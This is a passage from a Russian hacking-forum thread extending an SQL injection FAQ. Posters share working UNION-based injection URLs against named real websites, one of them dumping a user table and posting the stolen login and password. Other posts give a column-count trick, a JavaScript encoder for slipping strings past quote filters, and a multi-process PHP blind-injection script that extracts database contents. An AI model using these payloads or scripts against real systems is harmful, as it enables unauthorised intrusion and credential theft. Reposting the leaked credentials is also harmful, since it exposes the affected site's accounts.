Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    http://www.globalwaterfoundation.org/
    news.php?id=
    21+union+select+1,column_name,3+from+information_schema.columns+WHERE+table_name='COLLATIONS'+limit+1,1/*
    )
     
  2. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Ну а если до конца, то:
    Code:
    http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,concat_ws(0x3a,user_username,user_password),3+from+wma_users+limit+0,1/*
    логин/пас:

    Code:
    too1s:4what
     
  3. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    не получается провести, если в инъекции 2 поля, а в таблице три столбца. То как быть в такой ситуации?
     
  4. Neoveneficus

    Neoveneficus Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    235
    Likes Received:
    126
    Reputations:
    23
    так
    пробелы убирать не забывай
     
    #64 Neoveneficus, 14 Mar 2009
    Last edited: 14 Mar 2009
  5. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    я про метод подбора полей.
    у меня всего два поля, т.е. ?id=-1+union+select+1,2+from+users
    заведомо знаю, что в таблице 3 поля, user_id,user,passwd.
    просто решил проверить технику, но не получается.
    --
    как я понял, количесво полей не даст, вывисти столбцы(
     
    #65 shellz[21h], 14 Mar 2009
    Last edited: 14 Mar 2009
  6. Plaf-di

    Plaf-di New Member

    Joined:
    23 Mar 2009
    Messages:
    10
    Likes Received:
    4
    Reputations:
    -11
    Я наверно задам глупый вопрос но может у кого нибуть есть все команды sql и что они обозначяют???

    А ещё лучьше напишите статью в каких случаях какие применять!

    зарание спосибо!!!


    Да и ещё если ктото будет не против обьеснить пару маментов ( бесплатно ) пастучите пожалусто icq 412264840 ( хотя токие врятли будут:( )

    и за что -5 поставили?
     
    #66 Plaf-di, 9 Apr 2009
    Last edited: 9 Apr 2009
    1 person likes this.
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Начни с: http://dev.mysql.com/doc/refman/5.0/en/index.html
     
  8. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Как написал Dr.Z3r0 не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE().Можно использовать альтернативные констуркции:
    'string' =

    char(115)+char(116)+char(114)+char(105)+char(110)+char(103)
    'string' = 0x737472696E67

    Так вот собственно скрипт для этого:
    (Конечно понятно что сейчас полно инструментов для кодирования строки в char() представление, но мне ,например, так удобней, тем более скрипт 0x123-представлние заменяет на %2b, что необходимо в случае GET запроса)

    Code:
    <html>
    <head>
    <title>String Convertor for SQL-query</title>
    <script language="javascript">
    function baseConverter (number,ob,nb) { 
    	number = number.toUpperCase();
    	var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    	var dec = 0;
    	for (var i = 0; i <=  number.length; i++) {
    		dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1)));
    	}
    	number = "";
    	var magnitude = Math.floor((Math.log(dec))/(Math.log(nb)));
    	for (var i = magnitude; i >= 0; i--) {
    		var amount = Math.floor(dec/Math.pow(nb,i));
    		number = number + list.charAt(amount); 
    		dec -= amount*(Math.pow(nb,i));
    	}
    	return number;
    }
    
    function recode(target)
    {
     var s = new String(target);
     var out = new String("");
     var plus = "";
     if (document.forms[0].replaceplus.checked)
     { plus = "%2b"; } else { plus = "+"; }
     for(i=0;i<s.length;i++)
     {
      out += "char(" + s.charCodeAt(i) + ")"; 
      if (i+1<s.length){ out += plus; }
     }
     return out;
    }
    function recode16(target16)
    {
     var s = new String(target16);
     var out = new String("0x");
     for(i=0;i<s.length;i++)
     {
      if (s.charCodeAt(i) < 10)
      {
       out += "0" + baseConverter(String(s.charCodeAt(i)),10,16);
      }
      else
      {
       out += baseConverter(String(s.charCodeAt(i)),10,16);
      }
     }
     return out;
    }
    
    </script>
    <style type="text/css">
    BODY {
    	scrollbar-base-color: #252525;
    	scrollbar-arrow-color: #bbbb88;
    	COLOR: #e4e4e4;
    	margin:	0;
    	font-family: Verdana;
    	font-size: 13px;
    	background-color: #444444;
    	}
    td	{
    	font-family: Verdana;
    	COLOR: #e4e4e4;
    	font-size: 13px;
    }
    SELECT {
    	FONT-FAMILY: Verdana;
    	FONT-SIZE: 10px;
    	COLOR: #e4e4e4;
    	font-weight: bold;
    	BACKGROUND-COLOR: #444444;
    }
    TEXTAREA, {
    	FONT-SIZE: 13px;
    	FONT-FAMILY: Verdana;
    	COLOR: #EEEEEE;
    	BACKGROUND-COLOR: #252525;
    }
    .days {
    	FONT-FAMILY: Verdana;
    	border : none;
    	FONT-SIZE: 10px;
    	COLOR: #e4e4e4;
    	BACKGROUND-COLOR: #222222;
    }
    .bginput {
    	FONT-SIZE: 11px;
    	FONT-FAMILY: Verdana;
    	font-weight: bold;
    	COLOR: #EEEEcc;
    	BACKGROUND-COLOR: #252525;
    }
    
    A:link, A:visited, A:active {
    	COLOR: #e2e5cc;
    	text-decoration: none;
    }
    A:hover {
    	COLOR: #FFffcc;
    }
    .thtcolor {
    	COLOR: #f5f5f5;
    }
    .bright {
    	BACKGROUND-COLOR: #dddddd;
    	padding-bottom : 5px;
     	padding-left : 5px;
     	padding-right : 5px;
     	padding-top : 5px;
    	FONT-SIZE: 11px;
    }
    .qu {
    BACKGROUND-COLOR: #3b3b3b;
     border : thin inset;
     margin-bottom : 5px;
     margin-left : 15px;
     margin-right : 5px;
     margin-top : 5px;
     padding-bottom : 5px;
     padding-left : 5px;
     padding-right : 5px;
     padding-top : 5px;
    border-width : 1px 1px 1px 1px;
    }
    </style>
    </head>
    
    <body>
    <form>
    <table border=0 cellpadding=2>
    <tr><td align=center>source</td></tr>
    <tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr>
    <tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr>
    <tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr>
    <tr><td align=center>0x0123-like result</td></tr>
    <tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr>
    <tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr>
    </table>
    </form>
    </body>
    
    </html>
    
     
  9. Plaf-di

    Plaf-di New Member

    Joined:
    23 Mar 2009
    Messages:
    10
    Likes Received:
    4
    Reputations:
    -11
    а если таблицы Users нет
    как написано тут:
     
  10. Tocsixu

    Tocsixu New Member

    Joined:
    11 Feb 2009
    Messages:
    2
    Likes Received:
    3
    Reputations:
    0
    Вообще автор написал хорошую статью... но не указан случай когда при переборе +order+by... Не дает нам результатов.
    Пример
    Code:
    http://savelev.ru/journal/case/more/?id=1
    мы наблюдаем ошибку в БД, но таблицы мы не можем узнать.
    Code:
    http://savelev.ru/journal/case/more/?id=-1+order+by+999--
    Тогда перебор будет другим а точнее
    Code:
    http://savelev.ru/journal/case/more/?id=-1+union+select+1,2,3,4,5,0,1,version(),3,4,5--
     
  11. Plaf-di

    Plaf-di New Member

    Joined:
    23 Mar 2009
    Messages:
    10
    Likes Received:
    4
    Reputations:
    -11
    меня наверно не понели!
    я имею в веду вот это:
     
  12. Tocsixu

    Tocsixu New Member

    Joined:
    11 Feb 2009
    Messages:
    2
    Likes Received:
    3
    Reputations:
    0
    Что то я не пойму твой вопрос, ну дальше перебирай столбцы, пока не найдешь нужную таблицу, а если не получается перебирать столбцы, то попробуй сразу найти таблицу, запросом :
    Code:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM user
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM User
    и так далее...
     
    3 people like this.
  13. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name='user'
    И закончили уже оффтоп наконец..
     
    #73 [х26]VОLАND, 16 Apr 2009
    Last edited: 16 Apr 2009
  14. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
  15. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Возможность быстрого подбора количества полей в MySQL
    Допустим есть сайт, подверженный sql-инъекции
    при запросе
    index.php?id=1+order+by+6--
    видим ошибку:
    Unknown column '6' in 'order clause'
    в данном случае, можно сформировать запрос:
    index.php?id=1+order+by+1,2,3,4,5,6,7--
    Т.е. сортировка будет идти поочередно, и при числе, которое больше количества полей, будет выдана ошибка, указывающая именно первое, превышающее количество полей число.
    Если полей к примеру 4, и мы сформируем строку
    index.php?id=1+order+by+1,2,3,4,5,6--
    то мы увидим
    Unknown column '5' in 'order clause'
    Следовательно полей 4.

    Недостатки:
    1) Имеет смысл только когда выводится Unknown column 'число' in 'order clause'
    2) Работает не всегда, к примеру, если в скрипте идет несколько поочередных запросов к БД с различным количеством извлекаемых полей, то в результате мы можем получить "не то" количество полей.


    P.S.
    Способ позволяет существенно сэкономить время, необходимое на подбор количества полей и, имхо, вполне удобен(представим, что полей 37, то сколько стандартных запросов придется сделать?)

    Добавляем в заметки ;)

    Code:
    +order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,45,50,500--+
     
    #75 Iceangel_, 16 Apr 2009
    Last edited: 16 Apr 2009
  16. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    Знаем. Но всё равно молодец.
    PHP:
    echo join(','range(1,50));
    :)
     
    #76 [х26]VОLАND, 16 Apr 2009
    Last edited: 16 Apr 2009
    1 person likes this.
  17. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    угу оч удобная вещь!!!
    я обычно делаю так:
    1.
    найти скул и попробовать
    2.
    если работает то проверяем
    если не работает то скул вероятней всего есть!
    ну и дальше...
    3.
    4.
    значит в результате
     
    1 person likes this.
  18. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    AFoST, ну это как бы общеизвестный метод. Iceangel_ же описал способ моментального поиска кол-ва колонок (одним запросом).
     
    1 person likes this.
  19. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    0_о невнимательность.
    просмотрел мельком - увидел ордер бай и подумал об этом)
     
    1 person likes this.
  20. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Вобщем такое вот дело было:

    У нас есть сайт,где видим:
    Code:
    http://www.site.com/download.php?id=2
    Аля нажмите что бы скачать файл с номер 2 в базе данных.

    Но
    Code:
    http://www.site.com/download.php?id=2+and+1=0 
    Не качается,а вот так:
    Code:
    http://www.site.com/download.php?id=2+and+1=1
    все нормально

    Поскольку пример общий, то я подумал о том, что техника впринципе шаблонная.

    Если у меня от запроса не было ответа, или просто file_get_contents, то была необходимость различать ложные ссылки от подлинных:
    Code:
    <?
       $x=97;
           $substring = 0;
       $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
       $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
       $var = strlen(file_get_contents($url,FALSE,NULL,0,[B]1[/B]));
       if ($var != 0){
          echo "TRUE";
       }else{
          echo "FALSE";
       }
                   }
    ?>
    1 - максимальное значение, которое я получал, мы читаем strlen длину строки, хотя, если мы получим 1 означает, что символ является правдой.
    Code:
    <?php
    /*
    Coded by [underwater]
    http://forum.antichat.ru
    thx Qwazar
    */
    set_time_limit (0);
    error_reporting(0);
    
    function ordenar($file){
    	$file = file($file);
    	foreach ($file as $var){
    	list($ansii,$valores)= explode(">",$var);
    	$vars[$ansii] = $valores;
    	}
    	ksort($vars);
    	foreach ($vars as $var){
    	$data .=trim($var);
    	}
    	return array($data,$vars);
    }
    
    function blind($limit,$substring,$file){
    $ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
    		113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
    		65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
    
    for ($x=0;$x<=count($ascii);$x++){
    	$f1=fopen($file,"a");
    	$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
    	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
    
    	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
    	if ($var != 0){
    			$info = $substring . ">".chr($ascii[$x])."\n";
    			$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
    			echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
    			fwrite($f1,$info);
    			fclose($f1);
    			exit();
    	}else{
    		echo chr($ascii[$x]).chr(13);
    	}
    					}
    
    }
    ############################################################################################
    
    $start = $argv[2];
    $finish = $argv[3];
    $limit = $argv[1];
    
    $file = rand().".txt";*
    while (file_exists($file)) {
    $file = rand().".txt";*
    }
    
    
    $pids = array();
    for($i=$start;$i<=$finish;$i++)
    {
      $pid = pcntl_fork();
       if($pid == -1) { die('ERROR');
      } else if ($pid) {
        $pids[] = $pid;
      } else {
       blind($limit,$i,$file);
        exit();
      }
    }
    foreach($pids as $pid) {
      pcntl_waitpid($pid, $status);
    
    }
    
    list($data,$vars) = ordenar($file);
    echo "Значение :> ".$data."\r\n";
    unlink($file);
    
    ?>
    2 Qwazar: спасибо, исправил, разобрались))
     
    #80 [underwater], 17 Apr 2009
    Last edited: 18 Apr 2009